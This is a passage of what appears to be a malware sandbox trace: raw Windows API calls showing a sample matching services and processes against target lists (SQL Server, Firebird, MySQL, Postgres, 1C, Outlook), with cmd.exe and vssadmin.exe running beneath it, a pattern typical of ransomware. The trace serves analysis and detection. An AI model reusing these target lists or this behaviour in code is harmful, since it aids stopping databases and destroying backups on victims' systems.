lpString2="lmhosts") returned 1 [0191.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.913] lstrlenW (lpString="MMCSS") returned 5 [0191.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0191.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0191.913] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0191.913] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0191.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0191.913] lstrlenW (lpString="MpsSvc") returned 6 [0191.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0191.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0191.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0191.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0191.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0191.914] lstrlenW (lpString="Netman") returned 6 [0191.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0191.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0191.914] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0191.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0191.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0191.914] lstrlenW (lpString="netprofm") returned 8 [0191.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0191.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0191.914] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0191.914] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0191.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0191.914] lstrlenW (lpString="NlaSvc") returned 6 [0191.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0191.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0191.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0191.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0191.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0191.914] lstrlenW (lpString="nsi") returned 3 [0191.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.914] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0191.914] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.915] lstrlenW (lpString="PcaSvc") returned 6 [0191.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0191.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0191.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0191.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0191.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0191.915] lstrlenW (lpString="PlugPlay") returned 8 [0191.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.915] lstrlenW (lpString="Power") returned 5 [0191.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.915] lstrlenW (lpString="ProfSvc") returned 7 [0191.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.915] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.915] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.915] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.916] lstrlenW (lpString="RpcSs") returned 5 [0191.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.916] lstrlenW (lpString="SamSs") returned 5 [0191.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.916] lstrlenW (lpString="Schedule") returned 8 [0191.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.916] lstrlenW (lpString="SENS") returned 4 [0191.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.916] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0191.917] lstrlenW (lpString="Spooler") returned 7 [0191.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.917] lstrlenW (lpString="SysMain") returned 7 [0191.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0191.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0191.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0191.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0191.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0191.917] lstrlenW (lpString="Themes") returned 6 [0191.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0191.917] lstrlenW (lpString="TrkWks") returned 6 [0191.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0191.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0191.917] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0191.917] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0191.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0191.917] lstrlenW (lpString="UxSms") returned 5 [0191.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0191.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0191.918] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0191.918] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0191.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0191.918] lstrlenW (lpString="VSS") returned 3 [0191.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0191.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0191.918] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0191.918] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0191.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0191.918] lstrlenW (lpString="WdiServiceHost") returned 14 [0191.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0191.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0191.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0191.918] lstrlenW (lpString="WdiSystemHost") returned 13 [0191.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0191.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0191.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0191.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0191.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0191.918] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0191.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0191.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0191.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0191.919] lstrlenW (lpString="Winmgmt") returned 7 [0191.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0191.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0191.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0191.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0191.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0191.919] lstrlenW (lpString="WPDBusEnum") returned 10 [0191.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0191.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0191.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0191.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0191.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0191.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0191.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0191.921] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.921] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.922] lstrlenW (lpString="System") returned 6 [0191.922] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0191.922] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0191.922] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0191.922] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0191.922] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0191.922] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0191.922] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0191.922] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.923] lstrlenW (lpString="smss.exe") returned 8 [0191.923] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0191.923] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.923] lstrlenW (lpString="csrss.exe") returned 9 [0191.923] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0191.923] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0191.923] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0191.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0191.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0191.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0191.924] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.924] lstrlenW (lpString="wininit.exe") returned 11 [0191.924] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0191.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0191.924] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0191.924] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0191.924] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0191.924] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0191.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0191.924] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.924] lstrlenW (lpString="csrss.exe") returned 9 [0191.924] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.925] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.925] lstrlenW (lpString="winlogon.exe") returned 12 [0191.925] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.925] lstrlenW (lpString="services.exe") returned 12 [0191.925] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.925] lstrlenW (lpString="lsass.exe") returned 9 [0191.926] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0191.926] lstrlenW (lpString="lsm.exe") returned 7 [0191.926] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.926] lstrlenW (lpString="svchost.exe") returned 11 [0191.926] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.927] lstrlenW (lpString="svchost.exe") returned 11 [0191.927] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.927] lstrlenW (lpString="svchost.exe") returned 11 [0191.927] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.927] lstrlenW (lpString="svchost.exe") returned 11 [0191.927] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.928] lstrlenW (lpString="svchost.exe") returned 11 [0191.928] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.928] lstrlenW (lpString="audiodg.exe") returned 11 [0191.928] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.928] lstrlenW (lpString="svchost.exe") returned 11 [0191.928] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.929] lstrlenW (lpString="explorer.exe") returned 12 [0191.929] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.929] lstrlenW (lpString="dwm.exe") returned 7 [0191.929] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.929] lstrlenW (lpString="svchost.exe") returned 11 [0191.929] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0191.930] lstrlenW (lpString="n.exe") returned 5 [0191.930] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.930] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.930] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.930] lstrlenW (lpString="svchost.exe") returned 11 [0191.931] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0191.931] lstrlenW (lpString="taskhost.exe") returned 12 [0191.931] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0191.931] lstrlenW (lpString="reader_sl.exe") returned 13 [0191.931] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0191.931] lstrlenW (lpString="n.exe") returned 5 [0191.932] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0191.932] lstrlenW (lpString="cmd.exe") returned 7 [0191.932] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0191.932] lstrlenW (lpString="conhost.exe") returned 11 [0191.932] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0191.932] lstrlenW (lpString="vssadmin.exe") returned 12 [0191.933] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0191.933] lstrlenW (lpString="VSSVC.exe") returned 9 [0191.933] Process32NextW (in: hSnapshot=0x1dc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, 